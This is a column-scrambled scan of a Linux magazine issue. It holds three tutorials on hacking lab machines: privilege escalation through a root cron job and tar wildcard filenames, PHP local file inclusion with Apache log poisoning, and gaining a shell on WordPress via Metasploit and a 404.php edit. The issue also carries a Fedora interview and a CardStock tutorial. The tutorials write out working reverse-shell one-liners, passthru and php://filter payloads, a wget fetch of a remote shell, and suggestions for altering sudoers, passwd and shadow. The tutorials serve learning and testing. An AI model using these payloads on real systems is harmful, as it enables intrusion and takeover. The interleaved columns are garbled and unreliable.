The PrivEsc concept is relatively simple, however, there are a command that is actually run (which is cron, in this case).
few steps involved. Consider a typical crontab file (Figure 12). Scary, I’m sure you agree.
Note that the last line mentions a backup script (run by the The first question is, what are the contents of the backup
root user) called [Link]. script? The script only has two lines – the important part is the
Figure 12’s shell script is run by the root user every single min- wildcard (the asterisk) showing that tar will bundle all the files
ute. I also have access to see what the script in the /usr/local/etc in the /tmp directory, as shown here (my tests kept failing when
directory does. It creates a backup file in the home directory of the I didn’t explicitly run cd /tmp and instead stated the full paths):
user called chris.
The directory listing of ~chris reveals this file is present, and #!/bin/bash
it is overwritten every minute as suspected. Most importantly, cd /tmp; tar -czf /home/chris/[Link] *
$ ls -al *.txt
but that is not what I’m going to look at now. Rather than
running every day, the cron job is running every minute, Great. I do have access to the /tmp directory, which is where
making it really convenient to abuse (it looks like whoever the backup tarball is getting its files.
set it up was testing it every minute and forgot to set it to Next, I’ll attack the script run in the cron job by adding a re-
run once a day). verse shell to the file, which tar will bundle up and compress
Why not check out the script that’s called by the cron job, to as part of the files it is dutifully collecting. (See the article on
see if it is possible to edit the file without root privileges. The reverse shells elsewhere in this issue.)
file is located in the /usr/local/etc directory. Here’s what user A reverse shell, if you’re not familiar, is a way of getting a
chris sees with a directory listing: compromised machine (usually a server) to phone home to the
attacker’s machine. Reverse shells simplify firewalling complexi-
chris@ip-10-78-37-124:/usr/local/etc$ ls -al ties by creating an outbound network connection to the attacker.
[...snip?] The attacking machine is my Ubuntu Linux laptop. The com-
-rwxr-xr-x 1 chris chris 70 Apr 22 09:11 U mand line for the reverse shell is a relatively simple Bash one-
[Link] liner (replacing the XXXs for my laptop’s IP address):
Excellent news. I can edit that shell script as the chris user. At bash -c 'bash -i >& /dev/tcp/[Link]/8888 0>&1'
bundling up the files in (before compressing them), I can still Listening on [Link] 8888
achieve PrivEsc. Think about that for a second: I can abuse the
features of tar to achieve PrivEsc without even altering theThis command is often called a listener. The command op-
tions specify verbosity,
an open port for TCP
port 8888, and ignor-
ing DNS lookups. I’ll
leave this command on
a terminal on my lap-
top. Later, I will check
to see what the empty
terminal is doing.
Back in the /tmp di-
rectory of the target
Figure 12: The last line has a shell script run by the root user. machine, I’ll create a
-rw-r--r-- 1 chris chris 1 Apr 23 11:58 '--checkpoint-action=exec=sh [Link]' Listening on [Link] 8888
-rw-r--r-- 1 chris chris 1 Apr 23 11:59 '--checkpoint=1' Connection received on [Link] 44626
[...snip?]
root@ip-10-78-37-124:/tmp# whoami
-rw-r--r-- 1 chris chris 0 Apr 23 11:42 [Link]
whoami
-rwxr-xr-x 1 chris chris 45 Apr 23 11:49 [Link]
root
root@ip-10-78-37-124:/tmp# id
id
script called [Link] and add the reverse shell one-liner. access to super-
uid=0(root) gid=0(root) groups=0(root)
Note that I’m not installing any software on the target ma- user privileges.
chine; it’s all built-in (which in itself should be worrying for For example, I
the machine’s owner). Using a text editor, I’ve added my pub- could have added a line to the backup script that altered the
lic IP address and the port number 8888 and made the phone- configuration in the /etc/sudoers file, our old friend from
[Link] script executable: earlier, which wrote a rule that provided root user access:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/[Link]/8888 0>&1' Or, I could have created a new user in the /etc/passwd file:
Now I need to create some slightly strange-looking filenames to And, what about adding a password hash that you created
trick tar into doing what I want it to do. yourself to the /etc/shadow file? Have a think about the follow-
I will create a file in the /tmp directory that essentially calls ing (redacted to hide my “root” password):
the [Link] script:
echo "root:$6$Ldsxp$rDAaI/0SC/kfs7VL/:19217:U
$ echo "" > "--checkpoint-action=exec=sh [Link]" With a bit of testing, you can soon
$ echo "" > --checkpoint=1
su -
Local Job
A local file inclusion attack uses files that are already on the target system. By Chris Binnie
W
hen trying to break into a web server, ethical [Link]
Listing 1.
In the normal course of events, the code in Listing 1 would It is not that sensible to use short tags on production servers in
“include” or pull in another page’s content when the main page case PHP is disabled unintentionally and all your code is acci-
was requested by a browser. The template could be a header or dentally printed on your website for attackers to see. But, I pre-
footer file with company branding for example. However, espe- fer using short tags for testing.
cially in older versions of PHP (as this feature was deprecated in To get a better idea of how LFIs work, consider Listing 2, a
PHP 7.4.0), if the setting allow_url_include = On is present, the nasty piece of code that is prone to LFI, which runs a danger-
second line with the include instruction (in Listing 1) could also ous shell_exec function. As you might guess, this code allows
pull in a remote URL instead of local page templates. As you can you to run commands from the command line as you might do
imagine, the content of a remote URL can change over time, but in a terminal.
more importantly, an attacker can potentially point the page-tem- In Listing 2, note that I check if the $_REQUEST superglobal vari-
plate variable at their own URL. If the functionality is discovered able exists (see the manual [2] before running shell_exec). If I’m
by an attacker and they constructed a URL like the one that fol- not missing something (my PHP is pretty rusty), the $_REQUEST
lows, they could get the target’s web server to unwittingly exe- variable means that an HTTP POST or an HTTP GET (and a cookie,
cute the PHP code in [Link]: I suppose, if you look at the manual page) could potentially be
Listing 1: Remote File Inclusion Listing 2: The Dangerous shell_exec Listing 4: something Snippet
<? <? <?
[Link] include("[Link]");
used for an attack. It’s not just $_GET, in other words, and there- set (that’s the isset expression), it will include data from it.
fore an attacker would have more options available to them. Otherwise, it will load [Link].
An attacker can take advantage of shell_exec with a URL like The file that I’m going to target is the logfile that the Apache web
the one below, which uses the Linux id command to show the server saves its website hits to, namely /var/log/apache2/access.
user’s groups and ID information: log. I’ll try to access the Apache [Link] via a browser using LFI.
On several Capture The Flag PHP servers the following attack
[Link] worked straight out of the box. In my lab though I need to loosen
the security a little to get it to work. It is possible that default per-
The results show the www-data user – the user that usually runs missions have been improved on newer web server versions. Pre-
web servers on Debian Linux and Ubuntu Linux servers: vious permissions relating to the directory /var/log/apache2 were
root:adm. In other words, the directory belonged to the root user
uid=33(www-data) gid=33(www-data) groups=33(www-data) and the adm group (which our www-data user isn’t a member of).
But I will ensure that permissions are set on the directory itself
Listing 3 shows the output of the following directory listing and then, recursively, the files in the directory as so:
command:
$ chown www-data:adm /var/log/apache2
The eagle-eyed among you will spot that the web server root I can now visit the following URL (where [Link] is the
directory in Listing 3 contains the files for a WordPress site, AWS instance alias I’ve set in my laptop’s /etc/hosts file):
which is based on PHP. I won’t be using WordPress-related
files in this article. However, it is worth noting that WordPress [Link]
[Link] command, which should report a directory listing back. The URL
cat%20../../../log/apache2/[Link] in question, now with the command variable tacked on the end, is:
craft a URL using the stalwart of reverse shells, netcat. If you [Link]&command=ls
don’t have netcat then install it. (I’ll use the Nmap version of
netcat, which is ncat [5]: The result is just as with shell_exec, but this extract from the
[Link] file in Listing 6 shows that a bona fide hit on the
$ apt install ncat -y website was registered (with an HTTP 400 error), which means
I can view it in the browser window.
If the ncat package isn’t available, you might want to try to in- Great news! The extract in Listing 6 shows I am remotely ex-
stall another version of netcat for testing. ecuting commands on the web server. Now, I’ll try to get a re-
I should explain that my ultimate aim is to open an interactive verse shell working.
shell on the web server through this attack (see the article on re- There’s an excellent one-liner PHP code snippet that will
verse shells elsewhere in this issue). I want the target machine phone home on TCP port 8888 if I adjust it slightly. You’ll find
(the web server) to phone home to the attacker (my laptop). the snippet at the pentestmonkey GitHub repository [6], but
I’ll use netcat to do two things. In a fresh terminal on my here it is in raw text for easier copy-pasting:
laptop, I want to leave a “listener” open, dutifully listening out
on TCP port 8888 for when the PHP web server phones home [Link]
using its reverse shell. Create a listener with the following php-reverse-shell/master/[Link]
simple command:
How do I get my freshly saved PHP reverse shell file (I named
chris@Xeo:~$ nc -nvlp 8888 it [Link] and saved it to my laptop) onto the web server? I can
Listening on [Link] 8888 run a simple Python web server (this time on TCP port 4444)
that I’ll call the file server for clarity (see the box entitled “A
Now I craft a request to achieve the desired remote command Word to the Wise.”) Note that, for both the reverse shell and
execution, which will be possible using the LFI I have discov- the Python file server network ports, you might need to for-
ered. I craft a netcat request with some familiar-looking PHP. ward traffic from your broadband router to your laptop using
However, this time I will execute a command and then after- port forwarding. The command that I use to listen on TCP port
wards use a browser to look for the command’s output via the 4444 for incoming connections with Python is:
[Link] URL.
Starting to get the idea? This time I’ll use the variable command, chris@Xeo:~$ python3 -m [Link] 4444
which will reference the nefarious code to help create a reverse Serving HTTP on [Link] port 4444 ([Link] ...
shell. The crafted command with passthru looks like the follow-
ing (without using short tags so it’s a bit clearer): I close the terminal that gave the successful ls command a sec-
ond ago and then reopen it so I still have the command variable
$ ncat [Link] 80 injection via the ncat command (and of course ensuring the
netcat listener terminal is also open too with the nc command);
GET /<?php passthru($_GET['command']); ?> HTTP/1.1 I try to upload a reverse shell file (called [Link]) by pulling it
Host: [Link] from the Python file server:
Connection: close
[Link]
Once the ncat command is entered, just paste the other three [Link]&command=§§4
In Listing 5, you can see the Bad Request (HTTP 400) error
results of running the PHP passthru command in the crafted re- The wget command pulls from a redacted IP address on TCP
quest. In my case, the terminal doesn’t close and the command port 4444, which the Python file server is listening on. And, I
hangs; the connection established
by ncat remains open until I hit
CTRL+C.
Now that I’ve injected the command
variable, what happens if I visit the
URL that I tested with LFI? I will
wait a moment before trying out the
trickier reverse shell command and
try something simpler to prove that
the remote execution is working.
You can see in the following URL Figure 1: An abbreviated, pixelated [Link] file appears in the browser;
that I am trying to run the ls this means I can read its contents.
have requested the file [Link]. It occurs to me that if the A Word to the Wise
[Link] reverse shell executed at this point, it might be clas-
When opening up a web server on your laptop, you should cre-
sified as an RFI, as it is purely a remote inclusion. However, it
ate a brand new directory first and then copy the [Link] file into
doesn’t execute, so there’s another step.
it, especially if you are opening up the port to the Internet while
If I log into the web server, I can now see this file exists:
you run tests. That way any port-surfing scripts won’t get your
current working directory’s contents, just the [Link] file.
/var/www/html/[Link]
Perfect! And, in the terminal with the simple file server run- There are several more examples in the cheat sheet link, but an-
ning, I find this logged hit: other one that piqued my interest is to email the target machine
a reverse shell! Even if the mail server is not associated with
[Link] - - [06/May/2023 [Link] U DNS, but an SMTP service is dutifully listening, you can email
"GET /[Link] HTTP/1.1" 200 - nefarious data to the www-data user. The LFI part of the puzzle is
then reading the internal email text file (for example /var/spool/
I can close the file server terminal now. mail/www-data), which would hold the reverse shell code.
With one eye firmly remaining on the listener terminal win- If you are interested in automating the search for possible
dow and the other focused on the browser, I try to open the fol- LFI targets, you could try the fantastic tool called LFISuite [9].
lowing URL in the browser:
[Link]
Listing 5: Bad Request Error
HTTP/1.1 400 Bad Request
And, leaving that browser tab whir- Date: Sat, 06 May 2023 [Link] GMT
www-data user’s permissions, and <p>Your browser sent a request that this server could not understand.<br />
Loosely written out, the format of an [Link] [Link] [Link] [Link] [Link] HTTP/1.1\n"
400 502 "-" "-"
expect wrapper attack looks like the
following:
Listing 7: Shell Access
[Link]?page=expect://whoami
chris@Xeo:~$ nc -nvlp 8888
Listening on [Link] 8888
In this case, I’m running the whoami
command through the expect Connection received on [Link] 43652
wrapper. Linux ip-10-78-41-232 5.10.0-22-cloud-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
PHP also has a vulnerability relat- GNU/Linux
ing to the filter wrapper. A URL [Link] up 2:11, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
might look like the following:
chris pts/0 [Link] 11:14 3:11 0.11s 0.04s sshd: chris [priv]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[Link]?page=php://filter/U
/bin/sh: 0: can't access tty; job control turned off
convert.base64-encode/U
$
resource=/etc/passwd
Press Alert
WordPress is an incredibly popular tool for building websites, and don’t
think the attackers haven’t noticed. We’ll show you what to watch for.
By Chris Binnie
A
ccording to the WordPress website, a staggering 42 $ wpscan --url [Link] U
percent of the World Wide Web runs on WordPress --enumerate vp,vt --api-token XXXXXXXXXXXX
times. Understanding precisely how and why the tool interacts Execution (RCE). The goal is to open a remote shell on the
with target systems tends to require more advanced knowledge, WordPress server and then move from a low-level, non-root
although the tool pulls together information from all over the user to the superuser root account. Figure 2 shows what a
web, including the Exploit Database [5]. If you haven’t used it successful Metasploit search of the built-in modules reveals
before, you should take a moment to appreciate the power of the when looking for the Crop-image vulnerability. According to
Exploit Database. Check out the Exploit Database entry for the some of the online documentation, the Crop-image attack
exploit described in this article [6]. relates to CVE-2019-8943 [7], which states that an authenti-
cated attacker who has permissions to crop an image can
Taking Advantage then save the resulting image to an arbitrary directory and
To save time and simplify, I will look at this particular exploit use the output file to their advantage. This type of issue is
after completing the first phase, i.e., after I have already enu- referred to as “Improper Limitation of a Pathname to a Re-
merated the target and managed to glean a (non-admin) user- stricted Directory (‘Path Traversal’).”
name and password for WordPress. The next steps are to offer Metasploit some options for
In this case, I found a bug courtesy of WPScan. The scan the attack. In this case, I will offer the target’s IP Address
identified a vulnerability that allows Remote Command (set as [Link] on my system). Then I’ll offer the user-
name and password that I have
gleaned from WordPress already.
(Imagine that you found a username
from a user’s posts on the website and
then ran 100,000 passwords against
the user in a brute-force attack on the
WordPress login screen to discover the
credentials.)
Finally, I need to add the local IP ad-
dress of my laptop and an open TCP port
so that, if the exploit is successful, the
WordPress server will phone home back
to my laptop. This process is known as a
reverse shell (see the article on reverse
shells elsewhere in this issue). With the
handful of options fed into Metasploit,
type run and you will see the process un-
Figure 3: Running the code in the Exploit Database to exploit the RCE bug. derway in Metasploit.
As you can see in Figure 3, the mighty Metasploit is crafting a I’m aiming to adjust the [Link] page, but you can
payload and then uploading it as an image before using the image update other pages and test with them too. In previous
in WordPress’s active website theme. WordPress versions, the [Link] page is used commonly for
If the attack is successful, the attacker is welcomed by the this purpose.
server that is running WordPress with a shell. In this case, I have A different-looking page opens up under Tools | Theme File
access as the www-data user. The www-data account is a non-root Editor, showing lots of website code, as you can see in Figure 5.
user and is typically used to run the Apache web server. I can Now I need to scroll down the files listed on the right-hand side
now type commands to stabilize the shell and then begin Privi- of the screen. When it comes to some filenames, you can see the
lege Escalation techniques remotely, just as if I were logged into names of the files, ending with the .php extension, under each of
one of my own servers over SSH. the more human-readable titles of each page. I’m looking for a
file called [Link] (or you can use the full link that I used
Another Route to Root previously and adjust [Link] to your needs).
Now that you’ve seen Metasploit weaving its magic, I’ll show You might well ask, why are you looking for a 404 file? It’s a
you how to get a reverse shell to work using a more manual pro- reasonable question. What you might not fully appreciate is
cess. A common way that (usually authenticated) attacks of how servers configured to run the PHP language treat files end-
WordPress gain access to a shell is via the UI itself. Once you au- ing with the .php extension. They essentially execute them,
thenticate with WordPress, you are presented with a dashboard. running them just like a script might run.
The permissions are usually limited in some way. In this exam- As an authenticated user with access to the WordPress UI,
ple, you will need a user who can edit website template content, my aim is to alter the code in the 404 template file and then ei-
as part of a (usually running) WordPress theme. I will use the ther visit a website page that doesn’t exist (to trigger a Page
admin user I have created for this example. Incidentally, I need to Not Found 404 error) or, in this case, visit the URL directly and
navigate to the login page using the following address: load that template page directly. WordPress will then phone
home via a reverse shell.
[Link] The PHP code for a reverse shell comes from the PenTest-
Monkey website [8]. If you want the code directly (because
Following the big welcome banner, I click the Appearance link you’ve practiced this before), go to the GitHub repository [9]
on the left-hand navigation menu. I am then presented with and find the file [Link]. Click Raw on the right-
the dashboard displayed in Figure 4. hand side for a clean cut-and-paste method. This is one of the
In Figure 4, you can see the blue Customize button for the most popular reverse shell snippets, and it hasn’t been edited
Twenty Twenty-Three theme. Now look at the Appearance | in GitHub since 2015, so it must be good!
Themes | Editor link on the left-hand side. I use the following
URL to reach the file I am after: Popping a Shell
Now I’m ready to open a reverse shell. Before I do that, I need to
[Link] make tiny adjustments to the code. For instance, I need to add
[Link]?file=U my local laptop IP address and also the port that I’ve opened for
patterns%[Link]&theme=U the reverse shell to connect to, as seen in Listing 1 with the
twentytwentythree CHANGE THIS comments (also in Figure 5).
I now install the stalwart of the reverse shell world, netcat, the /etc/hosts file on the WordPress server itself while testing.
with the following command on Debian Linux derivatives: Most sites you are attacking won’t be broken like this. In my
case, the file looks like
$ apt install netcat
[Link] [Link]
and Figure 7 shows what success should look like, in green. $port = 8888; // CHANGE THIS
I realized the DNS was a bit stale, having moved the AWS IP $chunk_size = 1400;
addresses a few times. If that happens to you, use the hostname $write_a = null;
that you used to create your WordPress build ([Link] in
$error_a = null;
this example) and add the actual AWS instance IP address in
In my case, I visited the following URL: outlined in the article on reverse shells elsewhere in this issue,
including spawning a Bash process, switching to xterm, and
[Link] temporarily putting the netcat process in the background to
twentytwentythree/patterns/[Link] tweak some terminal settings.
Creating network "dvwp_default" with the default driver Success: Activated 1 of 1 plugins.
is to elevate from the www-data user to the root user (called [Link]
Fedora
Matthew Miller, Fedora Project Leader, discusses
Fedora’s relationship with Red Hat and its role in
the Linux community. By Bruce Byfield
T
he Fedora Project [1] was started DOS. But really, I didn’t get involved LM: How do Fedora and Red Hat
in 2003 as the community face of until the rise of the Internet in the 90s. I interact?
the newly established Red Hat grew up in Indiana, and one of my
Enterprise Linux (RHEL). Al- friends discovered that, having gradu- MM: Red Hat is the Fedora Project’s
though sometimes dismissed as no more ated from college, he no longer had ac- main sponsor and of course builds
than a beta release for RHEL, Fedora cess to email, Usenet, and this new RHEL from Fedora Linux as a base (now
quickly became a popular community “world wide web” thing. He asked me to through CentOS). Red Hat pays my sal-
choice as well, with numerous spins and help, and together we built a local Inter- ary, and I’m grateful that I therefore get
builds. Twenty years later, it is also one net provider. We started with Windows to work on Fedora full time – entirely
of the main sources for numerous major NT – but soon hit limitations. I’d read on free and open source software and
commercial distributions, including about Linux and wanted to give it a try. with our amazing community. There
RHEL, CentOS Stream, Rocky Linux, and So, I ordered a five-disc set of different are a few other folks paid mostly to
AlmaLinux, as well as a dozen deriva- Linux distros from the back of a maga- work on Fedora, but most Red Hatters
tives in its own right. zine, and late one night, we converted you see around the project have prod-
Matthew Miller has been Fedora Proj- one of our servers. I quickly fell in love – uct-related primary jobs. They may con-
ect Leader since 2014. As he prepared for this was definitely better! So, we con- tribute to Fedora as part of developing
Flock, the Fedora Project’s annual con- verted everything else, too. something wanted for a future Red Hat
ference, in Cork, Ireland, in August 2023, The first disc in that set was Debian, product – or, like anyone else, for their
Miller kindly agreed to talk about the but due to some flaw or incompatibility, own interests.
current state of Fedora. that one didn’t boot. The next was Red Hat doesn’t take a heavy hand in
Slackware, so that’s what we ran on for trying to tell Fedora what to do – in all my
Linux Magazine (LM): Tell us about a while, but Slackware didn’t have a nine years as Fedora Project Leader, I’ve
your involvement in free software. way to upgrade an already-installed sys- never gotten any kind of “make Fedora do
tem (even for security updates), so after this!” directive. I’ve gotten occasional po-
Matthew Miller (MM): I think my first a while, we switched to Red Hat Linux. lite requests from the marketing side of
exposure to the idea was in high school This eventually led to me getting in- the business – especially at the very dawn
– I knew BASIC pretty well and wanted volved with the Red Hat Linux beta test of the project, I think people were quite
to learn more, but C compilers were ex- program (at the time, this was an invite- concerned that some customers might not
pensive. A family friend gave me a copy only restricted group), and from there understand the difference between how
of DJGPP, which is a port of GCC for to Fedora. Red Hat supports Fedora and the actual
Red Hat product portfolio. But I don’t competition, we’re set up for coopera- there is a problem, you can roll back. In
think that’s a real worry these days. tion. And, in doing this, RHEL is more fact, if there’s a problem and you’re not
So, when someone in Red Hat wants transparent and open than ever before. sure exactly when it started, you can
something in Fedora, they go through The Fedora Project’s mission is to use a technique called “bisection” to
the same process as anyone else. build a platform that’s both useful for quickly find exactly the update that in-
our own users and a great base to build troduced the issue.
LM: How has Fedora been affected by on. I think it’s really exciting that Ama-
IBM’s purchase of Red Hat and by the zon decided to base their own commer- LM: The Free Software Foundation (FSF)
end of CentOS? cial distribution on Fedora Linux directly critiques Fedora [2] with:
– that’s really where you can do the “Fedora does have a clear policy about
MM: Red Hat was a publicly-traded most exciting things. But, if you want to what can be included in the distribution,
company before IBM, and in practice I make something slower-moving, more and it seems to be followed carefully. The
don’t see IBM as much different from cautious, CentOS Stream is also an inter- policy requires that most software and all
shareholders or a board of directors – esting place to engage. fonts be available under a free license,
Red Hat still operates as a functionally but makes an exception for certain kinds
completely separate company with our LM: The last few years have seen the of nonfree firmware. Unfortunately, the
own identity and decision-making. I rise of immutable operating systems, decision to allow that firmware in the
sometimes joke that it’d be easy to which cannot be modified by users or policy keeps Fedora from meeting the free
blame IBM for everything that happens applications, are updated all at once, and system distribution guidelines.”
that I don’t like, but that’s really not isolate each application, often through How would you respond?
how it is. If anything, I’d love for more containers. Currently, Fedora develops
IBMers to show up more in the Fedora three: Silverblue, Kinoite, and Sericea. MM: In an ideal world, all software –
project, and for IBM to directly contrib- What are the advantages of immutable and hardware – would be free and open
ute more. desktops, and why does Fedora develop source. Unfortunately, we’re far from
However, I don’t think “the end of them? that world. Computers today are very
CentOS” is the right framing. When complex and actually made up of lots of
Red Hat brought CentOS into the com- MM: Our immutable desktop work came little components which are themselves
pany almost a decade ago, there was a out of CoreOS – a server- and cloud-ori- little special-purpose computers. To
lot of work to move that project from ented flavor of Fedora Linux that is function, these require their own soft-
just a close-knit team with pretty based on work from Red Hat’s Project ware – it doesn’t run on the main CPU
tightly-closed processes to a more open Atomic and the original CoreOS distribu- but is loaded into the devices. This is
one. For example, before then – kind of tion. In a traditional Linux distribution, “firmware.” Even if you built it yourself
like the old Red Hat Linux beta pro- each system consists of an assemblage of from components, most computers today
gram, really – CentOS development software packages put together on that require at least some such loadable firm-
versions were only available to a select very system. This means that even when ware, and that usually comes from the
few, until it was declared ready and re- you want to have identical systems, device vendors in the form of binary
leased. Red Hat really wanted to grow there can be subtle – or not so subtle – blobs – not open at all. To get a main-
a contributor community around the differences. With CoreOS, we use a sys- stream consumer laptop running, there’s
project, but never really figured out tem that puts together package configu- no choice.
how, or never hit the right fortunate rations centrally, and every system runs There are a few distributions that meet
combination. A big user community, some checkpointed version of that, so the FSF’s definition of a free distribution,
definitely – but not really community you can verify that they’re actually really but they work on only very select hard-
development. There wasn’t a clear the same. ware. In Fedora, we require everything
path from CentOS to RHEL develop- In this model, rather than adding more in the operating system itself to be free
ment, and trying to fit Fedora with that packages to run workloads, you use con- and open source, but we allow non-open
made it even more messy. tainers for your actual applications. A lot source firmware files (as long as they are
So that really wasn’t working. of people liked this idea so much that legally redistributable). If we didn’t, Fe-
CentOS Stream is a much better model, they wanted to extend it to the desktop, dora Linux would only be accessible to
and there’s now a clear flow from Fe- which is how Fedora Silverblue was really dedicated niche hobbyists – and
dora Linux to CentOS Stream and into born. Same basic concept: a central defi- even those folks would probably have to
RHEL – from community-driven to nition of the main operating system and forgo a lot of functionality. We’ve chosen
product. I know people are cynical then containers (or Flatpaks) for your to function this way because we believe
about the end of traditional CentOS applications. it allows free and open source software
Linux, but as I see it, this really is a This makes it a lot easier to do qual- to make a real world impact it just
logical evolution towards more open- ity engineering and support – I think couldn’t otherwise.
ness. We no longer resort to literal that’s really the main thing. There are (As an aside – much of the hardware
M.C. Escher drawings to try to explain also some other nice effects: System up- that is sometimes “blessed” as not re-
the relationship. Instead of overlap, dates happen in the background and quiring binary-blob firmware actually
confusion, and almost-accidental apply instantly when you reboot, and if has such firmware, just preloaded and
inaccessible. Or, it may even be repre- between releases would be large and the 2. All of the software in Fedora Linux is
sented in a custom chip implementing integration process a lot more involved. free and open source – you can do
specific algorithms. The FSF, as I under- (We know for sure, because we see Red what you like with it and share it with
stand it, takes the position that this par- Hat do that for RHEL.) Likewise, we your friends. Plenty of software under
adoxically makes this hardware more don’t try to do long-term maintenance, restrictive licenses works on Fedora
free. I really don’t think it does. Really, because that’s really a huge amount of Linux (and some of that is easily
that’s a line drawn for convenience, and work that would hold us back. available from third-party sources like
we simply choose to draw ours in a dif- Again, though, we want this to really Flathub – for example, you can install
ferent place.) be consumable by regular folks, so each Steam that way without a fuss), but
release has a 13-month life cycle. That you know what you’re getting and can
LM: How is Fedora governed? means that you don’t need to update make your own choices.
twice a year. You can wait until it’s con- 3. Fedora Linux is also incredibly flexi-
MM: Our top-level leadership and gover- venient for you, even skipping a release ble! We have many different editions
nance body is the Fedora Council. We if you like. and spins for different use cases, sup-
have a mix of hired roles (like mine), port lots of different hardware, and in-
community-wide elected seats, and posi- LM: Does Fedora have any unique stan- clude a huge repository of software
tions filled by selection of various other dard applications? that all works together.
teams. We make decisions by a consen-
sus process, which means that every- MM: We try not to! Some Linux distribu- LM: What can you say about Fedora’s
one’s voice must be heard – we don’t tions are really showcases for a particu- future directions?
have majority-vote decisions. Because lar idea about a desktop environment or
Fedora is so big, we have a lot of differ- a coherent set of utilities and applica- MM: In the past few years, we’ve seen
ent committees as well. Technical deci- tions. In fact, those are often down- a lot of growth and interest from new
sions are made by an all-elected steering streams of a “base” distribution like Fe- audiences and new people who are
committee, and we have a similar body dora Linux or Debian. We see that as eager to get involved. We aim to dou-
for our outreach, user support, and mar- more our role: If you have something ble our number of contributors within
keting efforts. unique and interesting you’d like to the next five years. As any tech jour-
show off, you don’t need to reinvent and nalist knows, the future is always sur-
LM: Fedora has the reputation for being build the whole OS. You can just focus prising – we don’t know what will be
an early user of new applications and on the part you care about and work hot in 2030, but we know that our
software. Is this a stated goal? How does with the rest of our community for ev- community will be ready for whatever
it affect development? erything else. that is. Q Q Q
MM: Yeah, this is absolutely a goal! LM: Name at least three reasons why a Info
We’ve identified our core values as user might choose Fedora? [1] Fedora Project:
“Friends, Freedom, Features, First” – and [Link]
this commitment to innovation is First. MM: [2] FSF on Fedora: [Link]
We want to make sure that our software 1. Our OS is built by a growing commu- distros/[Link]
is actually functional and useful and nity of users and contributors. Anyone
available to a general audience, so we can join and choose to contribute – to Author
try to avoid the so-called “bleeding make it better, to network and make Bruce Byfield is a computer journalist and
edge,” but we want to bring all of the friends, or just for fun. Getting in- a freelance writer and editor specializing
amazing ideas and work in the whole volved is not just for software engi- in free and open source software. In
world of free and open source software – neers – we need writers, designers, addition to his writing projects, he also
teaches live and e-learning courses. In his
and all of those Features – to users as people with organizational skills,
spare time, Bruce writes about Northwest
soon as they're ready. communicators, artists, and more. Coast art ([Link]
We’ve found that a six-month release Even just by using Fedora Linux, you com). He is also co-founder of Prentice
cycle is a good way to do that. If we become an important part of this col- Pieces, a blog about writing and fantasy at
made it longer than that, the jump laborative effort. [Link]
QQQ
The Dealer
CardStock provides a simple development environment for building a Python graphical application.
By Marco Fioretti
C
ardStock [1] is a multiplatform Installing CardStock when you want to use them. Assuming
software development tool in- The easiest way to install CardStock on you saved your CardStock program as
spired by Apple’s HyperCard. any Linux distribution involves a two- [Link], you can run the program
CardStock’s simple design step process. First, install the libasound by either typing
greatly facilitates building graphical Py- and libwebkit2gtk development libraries
thon programs that can run either on from your distribution’s native reposito- csviewer [Link]
your desktop or online as a web appli- ries. Second, install CardStock with pip,
cation (Figure 1). You can use Card- Python’s package manager. On Ubuntu at the prompt or defining csviewer as the
Stock to augment your applications 22.04, installation looks like this: handler of .cds files in your file manager
with text, graphics, images, buttons, or desktop environment.
text entry fields, and Web Views. You sudo apt install libasound2-dev U
can even play sounds and add clip art. libwebkit2gtk-4.0-dev The CardStock Stack
In this article, I explain how to install pip3 install cardstock Designer
CardStock on Linux, how it works, and Both visually and structurally, CardStocks
how to get started. The CardStock manual warns that the programs are stacks of cards that run one
second step, which also installs the wx- at a time, each with its own user interface.
Python graphical toolkit, “can take a Each stack can contain multiple graphical
very long time to build.” In my case, pip objects and custom Python code.
took about 20 minutes to install wxPy- You build your stack in the Designer
thon on a computer with an i5 CPU run- (Figure 2), CardStock’s graphical inter-
ning at 1.6GHz and 16GBs of RAM. face. In the Designer, the left panel is
When pip finished, I found two exe- where you add cards and fill the cards
Lead Image by Unsplash Amol Tyagi
cutable files called cardstock and cs- with objects. The right panel hosts a
viewer installed in $HOME/.local/bin. The property editor (top) and a code editor
cardstock file, the development environ- (bottom), where you can see and edit all
ment shown in the figures for this arti- of the current object’s properties.
cle, saves your Cardstock programs as In the property editor top right, the
Figure 1: This calculator is just one one file with a .cds extension. The other leftmost button in the toolbar is the ob-
of the many CardStock programs file, csviewer, is the interpreter that will ject selector (called the hand tool in
you can run on [Link]. actually load and execute those files CardStock’s documentation). The hand
The Code Editor Figure 3: You set each object’s initial properties in the property editor
What makes CardStock really useful is (upper right). Behavior during execution is controlled by events
how easy it is to attach event-driven defined in the code editor (bottom right).
card.animate_fill_color(2, 'red')
self. The self variable basically means captured during continuous rotation
that the code that follows applies to with the image upside down. You can control the execution of these
the same object that triggers the cur- CardStock also lets you move and ani- or any other animations by attaching
rent event. mate objects in more complex ways. The them to an event. For example, associat-
Figure 5 shows the results of the code command ing the command above with an on_
from Figures 3 and 4: The card that is mouse_enter event would cause the card
running in the CardStock viewer is object.animate_center(3, [400,100]) to change to red whenever a mouse
pointer enters the current object.
When doing this, keep in mind that
different animations happen simultane-
ously, while commands of the same type
are executed sequentially. To end all of
an object’s animations, use the object.
stop_animating() event.
the line of code that produced it. Fi- Conclusions Much like shell scripts, .cds files are
nally, Help | All Code shows all of your Now that you know the basics, the most just plain text files that tell the Card-
stack’s code. efficient way to learn programming with Stock viewer what it should draw and
CardStock is to study and hack the many do. This means that you can copy, paste,
examples available from the CardStock mix, or even generate CardStock pro-
File menu. grams automatically by having other
In my opinon, the most intriguing part software write .cds files.
of CardStock is that its executable .cds Even ignoring this feature, I recom-
files are not binary files; they are plain mend CardStock as a fun, efficient, and
text files. If you compare the portion of well-documented way to start learning
the .cds file shown in Figure 10 with Fig- Python programming, which may have
ure 3, you will immediately see that very practical applications in schools
image settings and event definition in and small businesses. Q Q Q
Figure 3 make up the source code shown
in Figure 10! Author
Marco Fioretti (http://
Info [Link]) is
[1] CardStock: a freelance author,
[Link] trainer, and researcher
based in Rome, Italy, who
[2] CardStock Reference:
has been working with
[Link]
free/open source soft-
CardStock/wiki/Reference
Figure 10: The CardStock source ware since 1995 and on
code shown here corresponds to [3] CardStock wiki: open digital standards since 2005. Marco
the image settings and event defi- [Link] also is a board member of the Free Knowl-
